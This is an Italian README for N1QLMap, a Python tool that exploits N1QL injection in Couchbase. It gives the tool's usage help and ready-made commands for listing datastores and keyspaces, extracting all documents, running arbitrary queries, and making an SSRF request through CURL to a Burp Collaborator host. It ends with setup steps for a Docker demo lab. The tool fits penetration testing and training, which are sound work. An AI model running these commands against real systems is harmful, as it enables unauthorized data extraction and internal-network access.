
Lo strumento esfiltra i dati dal database Couchbase sfruttando vulnerabilità di iniezione N1QL.
N1QLMap è uno strumento di sfruttamento N1QL. Attualmente funziona con il database Couchbase. Lo strumento supporta l'estrazione di dati e l'esecuzione di attacchi SSRF tramite CURL.
Maggiori informazioni possono essere trovate qui: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
request.txt. Segna un punto di iniezione usando *i*. Vedi il file example_request_1.txt come riferimento.Estrae i datastore:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
Estrae i keyspace dall'ID del datastore specifico:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
Estrae tutti i documenti dal keyspace dato:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
Esegue una query arbitraria:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
Esegue una richiesta CURL / SSRF:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
Per giocare con la vulnerabilità puoi avviare macchine Docker con Couchbase e un'applicazione web NodeJS. Se hai già soddisfatto i Requisiti, esegui semplicemente:
cd n1ql-demo
./quick_setup.sh
Ora puoi eseguire i comandi descritti nella sezione Utilizzo contro l'applicazione web Dockerizzata.
Lo script N1QLMap.py non necessita di requisiti specifici oltre a Python 3.
I seguenti requisiti sono solo per la Demo fornita nella directory n1ql-demo.
Per installare Docker e Docker Compose su Kali:
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Testiamo Docker:
docker run hello-world